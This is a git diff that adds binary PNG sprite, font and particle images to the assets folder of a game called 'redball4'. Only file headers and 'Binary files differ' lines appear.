diff --git a/games/redball4/images/collition1-sheet0.png b/games/redball4/images/collition1-sheet0.png
new file mode 100644
index 00000000..b5070139
Binary files /dev/null and b/games/redball4/images/collition1-sheet0.png differ
diff --git a/games/redball4/images/collition2-sheet0.png b/games/redball4/images/collition2-sheet0.png
new file mode 100644
index 00000000..9e9330f2
Binary files /dev/null and b/games/redball4/images/collition2-sheet0.png differ
diff --git a/games/redball4/images/damagefont.png b/games/redball4/images/damagefont.png
new file mode 100644
index 00000000..88710e33
Binary files /dev/null and b/games/redball4/images/damagefont.png differ
diff --git a/games/redball4/images/diehit-sheet0.png b/games/redball4/images/diehit-sheet0.png
new file mode 100644
index 00000000..fe0850c8
Binary files /dev/null and b/games/redball4/images/diehit-sheet0.png differ
diff --git a/games/redball4/images/door1-sheet0.png b/games/redball4/images/door1-sheet0.png
new file mode 100644
index 00000000..b9c6476c
Binary files /dev/null and b/games/redball4/images/door1-sheet0.png differ
diff --git a/games/redball4/images/enemigo1-sheet0.png b/games/redball4/images/enemigo1-sheet0.png
new file mode 100644
index 00000000..3a0ba39e
Binary files /dev/null and b/games/redball4/images/enemigo1-sheet0.png differ
diff --git a/games/redball4/images/enemigo2-sheet0.png b/games/redball4/images/enemigo2-sheet0.png
new file mode 100644
index 00000000..b8dc484a
Binary files /dev/null and b/games/redball4/images/enemigo2-sheet0.png differ
diff --git a/games/redball4/images/enemigo3-sheet0.png b/games/redball4/images/enemigo3-sheet0.png
new file mode 100644
index 00000000..169a7922
Binary files /dev/null and b/games/redball4/images/enemigo3-sheet0.png differ
diff --git a/games/redball4/images/enemigo3-sheet1.png b/games/redball4/images/enemigo3-sheet1.png
new file mode 100644
index 00000000..56a285d2
Binary files /dev/null and b/games/redball4/images/enemigo3-sheet1.png differ
diff --git a/games/redball4/images/enemigo4-sheet0.png b/games/redball4/images/enemigo4-sheet0.png
new file mode 100644
index 00000000..98b86a60
Binary files /dev/null and b/games/redball4/images/enemigo4-sheet0.png differ
diff --git a/games/redball4/images/enemigo4-sheet1.png b/games/redball4/images/enemigo4-sheet1.png
new file mode 100644
index 00000000..a553c190
Binary files /dev/null and b/games/redball4/images/enemigo4-sheet1.png differ
diff --git a/games/redball4/images/explosioneffect3-sheet0.png b/games/redball4/images/explosioneffect3-sheet0.png
new file mode 100644
index 00000000..c54ced3e
Binary files /dev/null and b/games/redball4/images/explosioneffect3-sheet0.png differ
diff --git a/games/redball4/images/explosioneffect3-sheet1.png b/games/redball4/images/explosioneffect3-sheet1.png
new file mode 100644
index 00000000..77120b23
Binary files /dev/null and b/games/redball4/images/explosioneffect3-sheet1.png differ
diff --git a/games/redball4/images/fonte.png b/games/redball4/images/fonte.png
new file mode 100644
index 00000000..ad87c19b
Binary files /dev/null and b/games/redball4/images/fonte.png differ
diff --git a/games/redball4/images/foward-sheet0.png b/games/redball4/images/foward-sheet0.png
new file mode 100644
index 00000000..ba9fefd6
Binary files /dev/null and b/games/redball4/images/foward-sheet0.png differ
diff --git a/games/redball4/images/foward2-sheet0.png b/games/redball4/images/foward2-sheet0.png
new file mode 100644
index 00000000..139227a2
Binary files /dev/null and b/games/redball4/images/foward2-sheet0.png differ
diff --git a/games/redball4/images/globo1-sheet0.png b/games/redball4/images/globo1-sheet0.png
new file mode 100644
index 00000000..66a67d3e
Binary files /dev/null and b/games/redball4/images/globo1-sheet0.png differ
diff --git a/games/redball4/images/globo2-sheet0.png b/games/redball4/images/globo2-sheet0.png
new file mode 100644
index 00000000..dc9df39c
Binary files /dev/null and b/games/redball4/images/globo2-sheet0.png differ
diff --git a/games/redball4/images/globo3-sheet0.png b/games/redball4/images/globo3-sheet0.png
new file mode 100644
index 00000000..0dbbd2db
Binary files /dev/null and b/games/redball4/images/globo3-sheet0.png differ
diff --git a/games/redball4/images/globo4-sheet0.png b/games/redball4/images/globo4-sheet0.png
new file mode 100644
index 00000000..50a23376
Binary files /dev/null and b/games/redball4/images/globo4-sheet0.png differ
diff --git a/games/redball4/images/hh2.png b/games/redball4/images/hh2.png
new file mode 100644
index 00000000..49ed1c17
Binary files /dev/null and b/games/redball4/images/hh2.png differ
diff --git a/games/redball4/images/key-sheet0.png b/games/redball4/images/key-sheet0.png
new file mode 100644
index 00000000..5220f5ad
Binary files /dev/null and b/games/redball4/images/key-sheet0.png differ
diff --git a/games/redball4/images/lasers-sheet0.png b/games/redball4/images/lasers-sheet0.png
new file mode 100644
index 00000000..95fd4ca7
Binary files /dev/null and b/games/redball4/images/lasers-sheet0.png differ
diff --git a/games/redball4/images/levelfont.png b/games/redball4/images/levelfont.png
new file mode 100644
index 00000000..39b686eb
Binary files /dev/null and b/games/redball4/images/levelfont.png differ
diff --git a/games/redball4/images/levelfont3.png b/games/redball4/images/levelfont3.png
new file mode 100644
index 00000000..ce3a6ca4
Binary files /dev/null and b/games/redball4/images/levelfont3.png differ
diff --git a/games/redball4/images/levelfont5.png b/games/redball4/images/levelfont5.png
new file mode 100644
index 00000000..6a522c06
Binary files /dev/null and b/games/redball4/images/levelfont5.png differ
diff --git a/games/redball4/images/livefont.png b/games/redball4/images/livefont.png
new file mode 100644
index 00000000..53d04e9d
Binary files /dev/null and b/games/redball4/images/livefont.png differ
diff --git a/games/redball4/images/livefont12.png b/games/redball4/images/livefont12.png
new file mode 100644
index 00000000..8d845dbd
Binary files /dev/null and b/games/redball4/images/livefont12.png differ
diff --git a/games/redball4/images/livefont2.png b/games/redball4/images/livefont2.png
new file mode 100644
index 00000000..fc182ded
Binary files /dev/null and b/games/redball4/images/livefont2.png differ
diff --git a/games/redball4/images/new1-sheet0.png b/games/redball4/images/new1-sheet0.png
new file mode 100644
index 00000000..bb44545a
Binary files /dev/null and b/games/redball4/images/new1-sheet0.png differ
diff --git a/games/redball4/images/p1.png b/games/redball4/images/p1.png
new file mode 100644
index 00000000..d55451bd
Binary files /dev/null and b/games/redball4/images/p1.png differ
diff --git a/games/redball4/images/p2.png b/games/redball4/images/p2.png
new file mode 100644
index 00000000..69bc47c4
Binary files /dev/null and b/games/redball4/images/p2.png differ
diff --git a/games/redball4/images/p3.png b/games/redball4/images/p3.png
new file mode 100644
index 00000000..19fd040a
Binary files /dev/null and b/games/redball4/images/p3.png differ
diff --git a/games/redball4/images/p4.png b/games/redball4/images/p4.png
new file mode 100644
index 00000000..affc93bd
Binary files /dev/null and b/games/redball4/images/p4.png differ
diff --git a/games/redball4/images/p5.png b/games/redball4/images/p5.png
new file mode 100644
index 00000000..c5e1cd57
Binary files /dev/null and b/games/redball4/images/p5.png differ
diff --git a/games/redball4/images/p6.png b/games/redball4/images/p6.png
new file mode 100644
index 00000000..60868dc4
Binary files /dev/null and b/games/redball4/images/p6.png differ
diff --git a/games/redball4/images/p7.png b/games/redball4/images/p7.png
new file mode 100644
index 00000000..45eb1f20
Binary files /dev/null and b/games/redball4/images/p7.png differ
diff --git a/games/redball4/images/parcho.png b/games/redball4/images/parcho.png
new file mode 100644
index 00000000..296b117b
Binary files /dev/null and b/games/redball4/images/parcho.png differ
diff --git a/games/redball4/images/particles.png b/games/redball4/images/particles.png
new file mode 100644
index 00000000..09d52dbe
Binary files /dev/null and b/games/redball4/images/particles.png differ
diff --git a/games/redball4/images/particles10.png b/games/redball4/images/particles10.png
new file mode 100644
index 00000000..b4b46777
Binary files /dev/null and b/games/redball4/images/particles10.png differ
diff --git a/games/redball4/images/particles13.png b/games/redball4/images/particles13.png
new file mode 100644
index 00000000..0d8f038d
Binary files /dev/null and b/games/redball4/images/particles13.png differ
diff --git a/games/redball4/images/particles2.png b/games/redball4/images/particles2.png
new file mode 100644
index 00000000..ba5e91be
Binary files /dev/null and b/games/redball4/images/particles2.png differ
diff --git a/games/redball4/images/particles222.png b/games/redball4/images/particles222.png
new file mode 100644
index 00000000..102e4f0d
Binary files /dev/null and b/games/redball4/images/particles222.png differ
diff --git a/games/redball4/images/particles3.png b/games/redball4/images/particles3.png
new file mode 100644
index 00000000..84a62753
Binary files /dev/null and b/games/redball4/images/particles3.png differ
diff --git a/games/redball4/images/particles4.png b/games/redball4/images/particles4.png
new file mode 100644
index 00000000..21a89348
Binary files /dev/null and b/games/redball4/images/particles4.png differ
diff --git a/games/redball4/images/particles41.png b/games/redball4/images/particles41.png
new file mode 100644
index 00000000..50177bd3
Binary files /dev/null and b/games/redball4/images/particles41.png differ
diff --git a/games/redball4/images/particles5.png b/games/redball4/images/particles5.png
new file mode 100644
index 00000000..e42cee17
Binary files /dev/null and b/games/redball4/images/particles5.png differ
diff --git a/games/redball4/images/particles6.png b/games/redball4/images/particles6.png
new file mode 100644
index 00000000..975ed399
Binary files /dev/null and b/games/redball4/images/particles6.png differ
diff --git a/games/redball4/images/particles7.png b/games/redball4/images/particles7.png
new file mode 100644
index 00000000..577e782a
Binary files /dev/null and b/games/redball4/images/particles7.png differ
diff --git a/games/redball4/images/particles8.png b/games/redball4/images/particles8.png
new file mode 100644
index 00000000..d2771e39
Binary files /dev/null and b/games/redball4/images/particles8.png differ
diff --git a/games/redball4/images/particles9.png b/games/redball4/images/particles9.png
new file mode 100644
index 00000000..382f211d
Binary files /dev/null and b/games/redball4/images/particles9.png differ
diff --git a/games/redball4/images/pieza1.png b/games/redball4/images/pieza1.png
new file mode 100644
index 00000000..ed82eb6d
Binary files /dev/null and b/games/redball4/images/pieza1.png differ
diff --git a/games/redball4/images/pieza3.png b/games/redball4/images/pieza3.png
new file mode 100644
index 00000000..8c791676
Binary files /dev/null and b/games/redball4/images/pieza3.png differ
diff --git a/games/redball4/images/pieza4.png b/games/redball4/images/pieza4.png
new file mode 100644
index 00000000..94f72d3a
Binary files /dev/null and b/games/redball4/images/pieza4.png differ
diff --git a/games/redball4/images/pieza5.png b/games/redball4/images/pieza5.png
new file mode 100644
index 00000000..01ba6e17
Binary files /dev/null and b/games/redball4/images/pieza5.png differ
diff --git a/games/redball4/images/pieza6.png b/games/redball4/images/pieza6.png
new file mode 100644
index 00000000..5e46e242
Binary files /dev/null and b/games/redball4/images/pieza6.png differ
diff --git a/games/redball4/images/pisopa.png b/games/redball4/images/pisopa.png
new file mode 100644
index 00000000..c1353af2
Binary files /dev/null and b/games/redball4/images/pisopa.png differ
diff --git a/games/redball4/images/platform31-sheet0.png b/games/redball4/images/platform31-sheet0.png
new file mode 100644
index 00000000..fb1d9ecd
Binary files /dev/null and b/games/redball4/images/platform31-sheet0.png differ
diff --git a/games/redball4/images/price1-sheet0.png b/games/redball4/images/price1-sheet0.png
new file mode 100644
index 00000000..ad5af5e5
Binary files /dev/null and b/games/redball4/images/price1-sheet0.png differ
diff --git a/games/redball4/images/price10-sheet0.png b/games/redball4/images/price10-sheet0.png
new file mode 100644
index 00000000..d3afc60f
Binary files /dev/null and b/games/redball4/images/price10-sheet0.png differ
diff --git a/games/redball4/images/price2-sheet0.png b/games/redball4/images/price2-sheet0.png
new file mode 100644
index 00000000..9c6f3e80
Binary files /dev/null and b/games/redball4/images/price2-sheet0.png differ
diff --git a/games/redball4/images/price3-sheet0.png b/games/redball4/images/price3-sheet0.png
new file mode 100644
index 00000000..8d7510ca
Binary files /dev/null and b/games/redball4/images/price3-sheet0.png differ
diff --git a/games/redball4/images/price4-sheet0.png b/games/redball4/images/price4-sheet0.png
new file mode 100644
index 00000000..e8f812eb
Binary files /dev/null and b/games/redball4/images/price4-sheet0.png differ
diff --git a/games/redball4/images/price5-sheet0.png b/games/redball4/images/price5-sheet0.png
new file mode 100644
index 00000000..3402045a
Binary files /dev/null and b/games/redball4/images/price5-sheet0.png differ
diff --git a/games/redball4/images/price6-sheet0.png b/games/redball4/images/price6-sheet0.png
new file mode 100644
index 00000000..5d341bcc
Binary files /dev/null and b/games/redball4/images/price6-sheet0.png differ
diff --git a/games/redball4/images/price7-sheet0.png b/games/redball4/images/price7-sheet0.png
new file mode 100644
index 00000000..71681139
Binary files /dev/null and b/games/redball4/images/price7-sheet0.png differ
diff --git a/games/redball4/images/price8-sheet0.png b/games/redball4/images/price8-sheet0.png
new file mode 100644
index 00000000..c92e954c
Binary files /dev/null and b/games/redball4/images/price8-sheet0.png differ
diff --git a/games/redball4/images/price9-sheet0.png b/games/redball4/images/price9-sheet0.png
new file mode 100644
index 00000000..a5fcc226
Binary files /dev/null and b/games/redball4/images/price9-sheet0.png differ
diff --git a/games/redball4/images/rayo-sheet0.png b/games/redball4/images/rayo-sheet0.png
new file mode 100644
index 00000000..f80d8fc0
Binary files /dev/null and b/games/redball4/images/rayo-sheet0.png differ
diff --git a/games/redball4/images/rayo-sheet1.png b/games/redball4/images/rayo-sheet1.png
new file mode 100644
index 00000000..e21a2558
Binary files /dev/null and b/games/redball4/images/rayo-sheet1.png differ
diff --git a/games/redball4/images/reboter-sheet0.png b/games/redball4/images/reboter-sheet0.png
new file mode 100644
index 00000000..3c45e6f1
Binary files /dev/null and b/games/redball4/images/reboter-sheet0.png differ
diff --git a/games/redball4/images/regalo-sheet0.png b/games/redball4/images/regalo-sheet0.png
new file mode 100644
index 00000000..114af9de
Binary files /dev/null and b/games/redball4/images/regalo-sheet0.png differ
diff --git a/games/redball4/images/restarted3-sheet0.png b/games/redball4/images/restarted3-sheet0.png
new file mode 100644
index 00000000..2d23355a
Binary files /dev/null and b/games/redball4/images/restarted3-sheet0.png differ
diff --git a/games/redball4/images/rotatescreen-sheet0.png b/games/redball4/images/rotatescreen-sheet0.png
new file mode 100644
index 00000000..b4c161af
Binary files /dev/null and b/games/redball4/images/rotatescreen-sheet0.png differ
diff --git a/games/redball4/images/scorefont.png b/games/redball4/images/scorefont.png
new file mode 100644
index 00000000..fa011775
Binary files /dev/null and b/games/redball4/images/scorefont.png differ
diff --git a/games/redball4/images/selector-sheet0.png b/games/redball4/images/selector-sheet0.png
new file mode 100644
index 00000000..c5a5dfcc
Binary files /dev/null and b/games/redball4/images/selector-sheet0.png differ
diff --git a/games/redball4/images/sombra-sheet0.png b/games/redball4/images/sombra-sheet0.png
new file mode 100644
index 00000000..5cfa72c2
Binary files /dev/null and b/games/redball4/images/sombra-sheet0.png differ
diff --git a/games/redball4/images/soundsprites-sheet0.png b/games/redball4/images/soundsprites-sheet0.png
new file mode 100644
index 00000000..8cc32be1
Binary files /dev/null and b/games/redball4/images/soundsprites-sheet0.png differ
diff --git a/games/redball4/images/soundsprites-sheet1.png b/games/redball4/images/soundsprites-sheet1.png
new file mode 100644
index 00000000..76fd1820
Binary files /dev/null and b/games/redball4/images/soundsprites-sheet1.png differ
diff --git a/games/redball4/images/spiner1-sheet0.png b/games/redball4/images/spiner1-sheet0.png
new file mode 100644
index 00000000..73e49b33
Binary files /dev/null and b/games/redball4/images/spiner1-sheet0.png differ
diff --git a/games/redball4/images/sprite-sheet0.png b/games/redball4/images/sprite-sheet0.png
new file mode 100644
index 00000000..2e686497
Binary files /dev/null and b/games/redball4/images/sprite-sheet0.png differ
diff --git a/games/redball4/images/sprite10-sheet0.png b/games/redball4/images/sprite10-sheet0.png
new file mode 100644
index 00000000..58e3d1a6
Binary files /dev/null and b/games/redball4/images/sprite10-sheet0.png differ
diff --git a/games/redball4/images/sprite101-sheet0.png b/games/redball4/images/sprite101-sheet0.png
new file mode 100644
index 00000000..814fbc5f
Binary files /dev/null and b/games/redball4/images/sprite101-sheet0.png differ
diff --git a/games/redball4/images/sprite103-sheet0.png b/games/redball4/images/sprite103-sheet0.png
new file mode 100644
index 00000000..4ebd9264
Binary files /dev/null and b/games/redball4/images/sprite103-sheet0.png differ
diff --git a/games/redball4/images/sprite104-sheet0.png b/games/redball4/images/sprite104-sheet0.png
new file mode 100644
index 00000000..f6e21aac
Binary files /dev/null and b/games/redball4/images/sprite104-sheet0.png differ
diff --git a/games/redball4/images/sprite104-sheet1.png b/games/redball4/images/sprite104-sheet1.png
new file mode 100644
index 00000000..7d68024c
Binary files /dev/null and b/games/redball4/images/sprite104-sheet1.png differ
diff --git a/games/redball4/images/sprite105-sheet0.png b/games/redball4/images/sprite105-sheet0.png
new file mode 100644
index 00000000..f277cf24
Binary files /dev/null and b/games/redball4/images/sprite105-sheet0.png differ
diff --git a/games/redball4/images/sprite106-sheet0.png b/games/redball4/images/sprite106-sheet0.png
new file mode 100644
index 00000000..43b000be
Binary files /dev/null and b/games/redball4/images/sprite106-sheet0.png differ
diff --git a/games/redball4/images/sprite107-sheet0.png b/games/redball4/images/sprite107-sheet0.png
new file mode 100644
index 00000000..2a63b9bb
Binary files /dev/null and b/games/redball4/images/sprite107-sheet0.png differ
diff --git a/games/redball4/images/sprite108-sheet0.png b/games/redball4/images/sprite108-sheet0.png
new file mode 100644
index 00000000..317c17ca
Binary files /dev/null and b/games/redball4/images/sprite108-sheet0.png differ
diff --git a/games/redball4/images/sprite109-sheet0.png b/games/redball4/images/sprite109-sheet0.png
new file mode 100644
index 00000000..4d4b6ac8
Binary files /dev/null and b/games/redball4/images/sprite109-sheet0.png differ
diff --git a/games/redball4/images/sprite10asd-sheet0.png b/games/redball4/images/sprite10asd-sheet0.png
new file mode 100644
index 00000000..b5230a73
Binary files /dev/null and b/games/redball4/images/sprite10asd-sheet0.png differ
diff --git a/games/redball4/images/sprite11-sheet0.png b/games/redball4/images/sprite11-sheet0.png
new file mode 100644
index 00000000..e7d16854
Binary files /dev/null and b/games/redball4/images/sprite11-sheet0.png differ
diff --git a/games/redball4/images/sprite110-sheet0.png b/games/redball4/images/sprite110-sheet0.png
new file mode 100644
index 00000000..9e679ca7
Binary files /dev/null and b/games/redball4/images/sprite110-sheet0.png differ
diff --git a/games/redball4/images/sprite111-sheet0.png b/games/redball4/images/sprite111-sheet0.png
new file mode 100644
index 00000000..4bc8d5d1
Binary files /dev/null and b/games/redball4/images/sprite111-sheet0.png differ
diff --git a/games/redball4/images/sprite112-sheet0.png b/games/redball4/images/sprite112-sheet0.png
new file mode 100644
index 00000000..18b98a5e
Binary files /dev/null and b/games/redball4/images/sprite112-sheet0.png differ
diff --git a/games/redball4/images/sprite113-sheet0.png b/games/redball4/images/sprite113-sheet0.png
new file mode 100644
index 00000000..a34a9803
Binary files /dev/null and b/games/redball4/images/sprite113-sheet0.png differ
diff --git a/games/redball4/images/sprite114-sheet0.png b/games/redball4/images/sprite114-sheet0.png
new file mode 100644
index 00000000..897cad3d
Binary files /dev/null and b/games/redball4/images/sprite114-sheet0.png differ
diff --git a/games/redball4/images/sprite115-sheet0.png b/games/redball4/images/sprite115-sheet0.png
new file mode 100644
index 00000000..564275d1
Binary files /dev/null and b/games/redball4/images/sprite115-sheet0.png differ
diff --git a/games/redball4/images/sprite116-sheet0.png b/games/redball4/images/sprite116-sheet0.png
new file mode 100644
index 00000000..5dd2f3b0
Binary files /dev/null and b/games/redball4/images/sprite116-sheet0.png differ
diff --git a/games/redball4/images/sprite117-sheet0.png b/games/redball4/images/sprite117-sheet0.png
new file mode 100644
index 00000000..56bf7433
Binary files /dev/null and b/games/redball4/images/sprite117-sheet0.png differ
diff --git a/games/redball4/images/sprite118-sheet0.png b/games/redball4/images/sprite118-sheet0.png
new file mode 100644
index 00000000..52ccee77
Binary files /dev/null and b/games/redball4/images/sprite118-sheet0.png differ
diff --git a/games/redball4/images/sprite119-sheet0.png b/games/redball4/images/sprite119-sheet0.png
new file mode 100644
index 00000000..5d858d65
Binary files /dev/null and b/games/redball4/images/sprite119-sheet0.png differ
diff --git a/games/redball4/images/sprite12-sheet0.png b/games/redball4/images/sprite12-sheet0.png
new file mode 100644
index 00000000..90d240ed
Binary files /dev/null and b/games/redball4/images/sprite12-sheet0.png differ
diff --git a/games/redball4/images/sprite120-sheet0.png b/games/redball4/images/sprite120-sheet0.png
new file mode 100644
index 00000000..97e18565
Binary files /dev/null and b/games/redball4/images/sprite120-sheet0.png differ
diff --git a/games/redball4/images/sprite121-sheet0.png b/games/redball4/images/sprite121-sheet0.png
new file mode 100644
index 00000000..d554d8ab
Binary files /dev/null and b/games/redball4/images/sprite121-sheet0.png differ
diff --git a/games/redball4/images/sprite122-sheet0.png b/games/redball4/images/sprite122-sheet0.png
new file mode 100644
index 00000000..e2ff7af9
Binary files /dev/null and b/games/redball4/images/sprite122-sheet0.png differ
diff --git a/games/redball4/images/sprite123-sheet0.png b/games/redball4/images/sprite123-sheet0.png
new file mode 100644
index 00000000..356baf86
Binary files /dev/null and b/games/redball4/images/sprite123-sheet0.png differ
diff --git a/games/redball4/images/sprite124-sheet0.png b/games/redball4/images/sprite124-sheet0.png
new file mode 100644
index 00000000..002bc5d5
Binary files /dev/null and b/games/redball4/images/sprite124-sheet0.png differ
diff --git a/games/redball4/images/sprite126-sheet0.png b/games/redball4/images/sprite126-sheet0.png
new file mode 100644
index 00000000..ab405e57
Binary files /dev/null and b/games/redball4/images/sprite126-sheet0.png differ
diff --git a/games/redball4/images/sprite126-sheet1.png b/games/redball4/images/sprite126-sheet1.png
new file mode 100644
index 00000000..8c82ee56
Binary files /dev/null and b/games/redball4/images/sprite126-sheet1.png differ
diff --git a/games/redball4/images/sprite126-sheet2.png b/games/redball4/images/sprite126-sheet2.png
new file mode 100644
index 00000000..204bcfa1
Binary files /dev/null and b/games/redball4/images/sprite126-sheet2.png differ
diff --git a/games/redball4/images/sprite127-sheet0.png b/games/redball4/images/sprite127-sheet0.png
new file mode 100644
index 00000000..f950e883
Binary files /dev/null and b/games/redball4/images/sprite127-sheet0.png differ
diff --git a/games/redball4/images/sprite128-sheet0.png b/games/redball4/images/sprite128-sheet0.png
new file mode 100644
index 00000000..4b59c46c
Binary files /dev/null and b/games/redball4/images/sprite128-sheet0.png differ
diff --git a/games/redball4/images/sprite128-sheet1.png b/games/redball4/images/sprite128-sheet1.png
new file mode 100644
index 00000000..35cb12d1
Binary files /dev/null and b/games/redball4/images/sprite128-sheet1.png differ
diff --git a/games/redball4/images/sprite128-sheet2.png b/games/redball4/images/sprite128-sheet2.png
new file mode 100644
index 00000000..00e0d5c7
Binary files /dev/null and b/games/redball4/images/sprite128-sheet2.png differ
diff --git a/games/redball4/images/sprite129-sheet0.png b/games/redball4/images/sprite129-sheet0.png
new file mode 100644
index 00000000..75c69b69
Binary files /dev/null and b/games/redball4/images/sprite129-sheet0.png differ
diff --git a/games/redball4/images/sprite13-sheet0.png b/games/redball4/images/sprite13-sheet0.png
new file mode 100644
index 00000000..98c938ca
Binary files /dev/null and b/games/redball4/images/sprite13-sheet0.png differ
diff --git a/games/redball4/images/sprite130-sheet0.png b/games/redball4/images/sprite130-sheet0.png
new file mode 100644
index 00000000..403c6cf9
Binary files /dev/null and b/games/redball4/images/sprite130-sheet0.png differ
diff --git a/games/redball4/images/sprite131-sheet0.png b/games/redball4/images/sprite131-sheet0.png
new file mode 100644
index 00000000..1cdda425
Binary files /dev/null and b/games/redball4/images/sprite131-sheet0.png differ
diff --git a/games/redball4/images/sprite132-sheet0.png b/games/redball4/images/sprite132-sheet0.png
new file mode 100644
index 00000000..0c927bc1
Binary files /dev/null and b/games/redball4/images/sprite132-sheet0.png differ
diff --git a/games/redball4/images/sprite133-sheet0.png b/games/redball4/images/sprite133-sheet0.png
new file mode 100644
index 00000000..d1fa11c7
Binary files /dev/null and b/games/redball4/images/sprite133-sheet0.png differ
diff --git a/games/redball4/images/sprite134-sheet0.png b/games/redball4/images/sprite134-sheet0.png
new file mode 100644
index 00000000..df6e12ef
Binary files /dev/null and b/games/redball4/images/sprite134-sheet0.png differ
diff --git a/games/redball4/images/sprite135-sheet0.png b/games/redball4/images/sprite135-sheet0.png
new file mode 100644
index 00000000..0854c09b
Binary files /dev/null and b/games/redball4/images/sprite135-sheet0.png differ
diff --git a/games/redball4/images/sprite138-sheet0.png b/games/redball4/images/sprite138-sheet0.png
new file mode 100644
index 00000000..d8010ee2
Binary files /dev/null and b/games/redball4/images/sprite138-sheet0.png differ
diff --git a/games/redball4/images/sprite139-sheet0.png b/games/redball4/images/sprite139-sheet0.png
new file mode 100644
index 00000000..74afa8d5
Binary files /dev/null and b/games/redball4/images/sprite139-sheet0.png differ
diff --git a/games/redball4/images/sprite14-sheet0.png b/games/redball4/images/sprite14-sheet0.png
new file mode 100644
index 00000000..66c4843e
Binary files /dev/null and b/games/redball4/images/sprite14-sheet0.png differ
diff --git a/games/redball4/images/sprite140-sheet0.png b/games/redball4/images/sprite140-sheet0.png
new file mode 100644
index 00000000..51a4ca71
Binary files /dev/null and b/games/redball4/images/sprite140-sheet0.png differ
diff --git a/games/redball4/images/sprite143-sheet0.png b/games/redball4/images/sprite143-sheet0.png
new file mode 100644
index 00000000..06c7536c
Binary files /dev/null and b/games/redball4/images/sprite143-sheet0.png differ
diff --git a/games/redball4/images/sprite144-sheet0.png b/games/redball4/images/sprite144-sheet0.png
new file mode 100644
index 00000000..74df69a2
Binary files /dev/null and b/games/redball4/images/sprite144-sheet0.png differ
diff --git a/games/redball4/images/sprite145-sheet0.png b/games/redball4/images/sprite145-sheet0.png
new file mode 100644
index 00000000..2858aeea
Binary files /dev/null and b/games/redball4/images/sprite145-sheet0.png differ
diff --git a/games/redball4/images/sprite145-sheet1.png b/games/redball4/images/sprite145-sheet1.png
new file mode 100644
index 00000000..e14dff89
Binary files /dev/null and b/games/redball4/images/sprite145-sheet1.png differ
diff --git a/games/redball4/images/sprite147-sheet0.png b/games/redball4/images/sprite147-sheet0.png
new file mode 100644
index 00000000..036e97b7
Binary files /dev/null and b/games/redball4/images/sprite147-sheet0.png differ
diff --git a/games/redball4/images/sprite148-sheet0.png b/games/redball4/images/sprite148-sheet0.png
new file mode 100644
index 00000000..1fd5b531
Binary files /dev/null and b/games/redball4/images/sprite148-sheet0.png differ
diff --git a/games/redball4/images/sprite149-sheet0.png b/games/redball4/images/sprite149-sheet0.png
new file mode 100644
index 00000000..274add83
Binary files /dev/null and b/games/redball4/images/sprite149-sheet0.png differ
diff --git a/games/redball4/images/sprite150-sheet0.png b/games/redball4/images/sprite150-sheet0.png
new file mode 100644
index 00000000..1aa759c2
Binary files /dev/null and b/games/redball4/images/sprite150-sheet0.png differ
diff --git a/games/redball4/images/sprite151-sheet0.png b/games/redball4/images/sprite151-sheet0.png
new file mode 100644
index 00000000..a2d3e4d8
Binary files /dev/null and b/games/redball4/images/sprite151-sheet0.png differ
diff --git a/games/redball4/images/sprite152-sheet0.png b/games/redball4/images/sprite152-sheet0.png
new file mode 100644
index 00000000..b3111a06
Binary files /dev/null and b/games/redball4/images/sprite152-sheet0.png differ
diff --git a/games/redball4/images/sprite154-sheet0.png b/games/redball4/images/sprite154-sheet0.png
new file mode 100644
index 00000000..db1e19e1
Binary files /dev/null and b/games/redball4/images/sprite154-sheet0.png differ
diff --git a/games/redball4/images/sprite155-sheet0.png b/games/redball4/images/sprite155-sheet0.png
new file mode 100644
index 00000000..526c4edf
Binary files /dev/null and b/games/redball4/images/sprite155-sheet0.png differ
diff --git a/games/redball4/images/sprite157-sheet0.png b/games/redball4/images/sprite157-sheet0.png
new file mode 100644
index 00000000..87611e02
Binary files /dev/null and b/games/redball4/images/sprite157-sheet0.png differ
diff --git a/games/redball4/images/sprite158-sheet0.png b/games/redball4/images/sprite158-sheet0.png
new file mode 100644
index 00000000..8a2c9342
Binary files /dev/null and b/games/redball4/images/sprite158-sheet0.png differ
diff --git a/games/redball4/images/sprite159-sheet0.png b/games/redball4/images/sprite159-sheet0.png
new file mode 100644
index 00000000..a7bfbab5
Binary files /dev/null and b/games/redball4/images/sprite159-sheet0.png differ
diff --git a/games/redball4/images/sprite16-sheet0.png b/games/redball4/images/sprite16-sheet0.png
new file mode 100644
index 00000000..3ce7db23
Binary files /dev/null and b/games/redball4/images/sprite16-sheet0.png differ
diff --git a/games/redball4/images/sprite160-sheet0.png b/games/redball4/images/sprite160-sheet0.png
new file mode 100644
index 00000000..4cfcb005
Binary files /dev/null and b/games/redball4/images/sprite160-sheet0.png differ
diff --git a/games/redball4/images/sprite161-sheet0.png b/games/redball4/images/sprite161-sheet0.png
new file mode 100644
index 00000000..35732b56
Binary files /dev/null and b/games/redball4/images/sprite161-sheet0.png differ
diff --git a/games/redball4/images/sprite162-sheet0.png b/games/redball4/images/sprite162-sheet0.png
new file mode 100644
index 00000000..dc4061e3
Binary files /dev/null and b/games/redball4/images/sprite162-sheet0.png differ
diff --git a/games/redball4/images/sprite163-sheet0.png b/games/redball4/images/sprite163-sheet0.png
new file mode 100644
index 00000000..83a8c46e
Binary files /dev/null and b/games/redball4/images/sprite163-sheet0.png differ
diff --git a/games/redball4/images/sprite164-sheet0.png b/games/redball4/images/sprite164-sheet0.png
new file mode 100644
index 00000000..92a57ade
Binary files /dev/null and b/games/redball4/images/sprite164-sheet0.png differ
diff --git a/games/redball4/images/sprite165-sheet0.png b/games/redball4/images/sprite165-sheet0.png
new file mode 100644
index 00000000..e7de7ce7
Binary files /dev/null and b/games/redball4/images/sprite165-sheet0.png differ
diff --git a/games/redball4/images/sprite166-sheet0.png b/games/redball4/images/sprite166-sheet0.png
new file mode 100644
index 00000000..6c48acb6
Binary files /dev/null and b/games/redball4/images/sprite166-sheet0.png differ
diff --git a/games/redball4/images/sprite167-sheet0.png b/games/redball4/images/sprite167-sheet0.png
new file mode 100644
index 00000000..4272237b
Binary files /dev/null and b/games/redball4/images/sprite167-sheet0.png differ
diff --git a/games/redball4/images/sprite168-sheet0.png b/games/redball4/images/sprite168-sheet0.png
new file mode 100644
index 00000000..fd50a928
Binary files /dev/null and b/games/redball4/images/sprite168-sheet0.png differ
diff --git a/games/redball4/images/sprite169-sheet0.png b/games/redball4/images/sprite169-sheet0.png
new file mode 100644
index 00000000..0dfc735e
Binary files /dev/null and b/games/redball4/images/sprite169-sheet0.png differ
diff --git a/games/redball4/images/sprite17-sheet0.png b/games/redball4/images/sprite17-sheet0.png
new file mode 100644
index 00000000..b079a089
